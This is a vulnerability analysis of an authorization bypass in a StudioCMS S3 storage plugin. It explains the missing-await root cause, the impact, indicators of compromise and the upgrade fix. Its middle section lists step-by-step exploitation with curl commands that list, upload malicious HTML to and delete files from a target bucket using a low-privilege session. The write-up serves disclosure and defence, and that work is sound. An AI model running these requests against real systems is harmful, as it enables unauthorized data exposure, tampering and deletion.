CVE-2026-32101: 
JavaScript vulnerability analysis and mitigation

CVE-2026-32101 is an authorization bypass vulnerability in the StudioCMS S3 Storage Manager, titled "S3 Storage Manager Authorization Bypass via Missing await on Async Auth Check." It affects the npm package @studiocms/s3-storage in all versions up to and including 0.3.0, and was disclosed on March 11, 2026, with a patch released the same day. The vulnerability carries a CVSS v3.1 base score of 7.6 (High) (Github Advisory, StudioCMS Advisory).

The root cause is a missing await keyword when calling the async isAuthorized() function in the S3 storage manager's POST and PUT request handlers (classified as CWE-863: Incorrect Authorization). Because isAuthorized() is declared async and returns a Promise<boolean>, calling it without await yields a Promise object rather than a resolved boolean. In JavaScript, any Promise object is always truthy, so the expression !isAuthorized(type) always evaluates to false, meaning the 401 Unauthorized response is never returned and the authorization gate is completely bypassed. The vulnerable code exists at packages/@studiocms/s3-storage/src/s3-storage-manager.ts lines 200 and 372, and the fix requires adding await to both calls: !(await isAuthorized(type)) (StudioCMS Advisory).

Any authenticated user holding the lowest "visitor" role can perform all S3 storage management operations — listing files, uploading arbitrary content, deleting files, and renaming objects — that are intended to be restricted to editor-level users and above. An attacker can enumerate all bucket contents and generate presigned download URLs, exposing sensitive stored data (confidentiality impact). They can also upload malicious payloads (e.g., HTML or script files) to replace legitimate content, or permanently delete critical files, causing data loss and potential content integrity compromise (StudioCMS Advisory, Github Advisory).

A proof-of-concept exploit consisting of concrete curl commands targeting the /studiocms_api/integrations/storage/manager endpoint is publicly available in the official security advisory (StudioCMS Advisory). Exploitation requires only a valid session cookie for any authenticated visitor-role account — no elevated privileges are needed. There is no evidence of in-the-wild exploitation at this time, and no threat actor attribution has been reported. The EPSS score is approximately 0.053% (17th percentile), indicating a currently low probability of active exploitation (Github Advisory). The vulnerability is not listed in the CISA KEV catalog.

1. Obtain a visitor-role account: Register or log in to the target StudioCMS instance with the lowest-privilege "visitor" role account.
2. Capture session cookie: After authentication, retrieve the studiocms-session cookie from the browser or via a login API call.
3. List S3 bucket contents: Send a POST request to the storage manager API endpoint with the list action to enumerate all files in the S3 bucket:

   curl -X POST 'http://<target>/studiocms_api/integrations/storage/manager' \
     -H 'Cookie: studiocms-session=<session_token>' \
     -H 'Content-Type: application/json' \
     -d '{"action":"list","prefix":""}'

4. Upload a malicious file: Use a PUT request to upload arbitrary content (e.g., an HTML payload) to the S3 bucket:

   curl -X PUT 'http://<target>/studiocms_api/integrations/storage/manager' \
     -H 'Cookie: studiocms-session=<session_token>' \
     -H 'Content-Type: application/octet-stream' \
     -H 'x-storage-key: malicious/payload.html' \
     --data-binary 'Malicious content here'

5. Delete arbitrary files: Send a POST request with the delete action and a target file key to permanently remove files from the bucket:

   curl -X POST 'http://<target>/studiocms_api/integrations/storage/manager' \
     -H 'Cookie: studiocms-session=<session_token>' \
     -H 'Content-Type: application/json' \
     -d '{"action":"delete","key":"important/document.pdf"}'

   (StudioCMS Advisory)

• Network: Unexpected POST or PUT requests to /studiocms_api/integrations/storage/manager originating from visitor-role user sessions; HTTP 200 responses to storage operations that should return 401 for non-editor users.
• Logs: Web server access logs showing visitor-role accounts successfully performing list, upload, delete, or rename actions against the storage manager endpoint; absence of 401 responses for these operations in affected versions.
• File System / S3 Bucket: Unexpected or unfamiliar files appearing in the S3 bucket (e.g., .html, .js, or script files in unexpected paths); missing files that were previously present; renamed files with suspicious keys such as malicious/payload.html.
• Application Logs: StudioCMS application logs recording storage operations attributed to visitor-role users without corresponding authorization failures.

Upgrade the @studiocms/s3-storage npm package to version 0.3.1 or later, which adds the missing await keyword to both isAuthorized() calls in the POST and PUT handlers (StudioCMS Advisory). As a defense-in-depth measure, implement S3 bucket-level IAM policies to restrict write and delete operations to only the necessary service accounts, independent of application-layer authorization. After patching, review S3 bucket access logs and contents to identify any unauthorized file operations that may have occurred prior to the fix.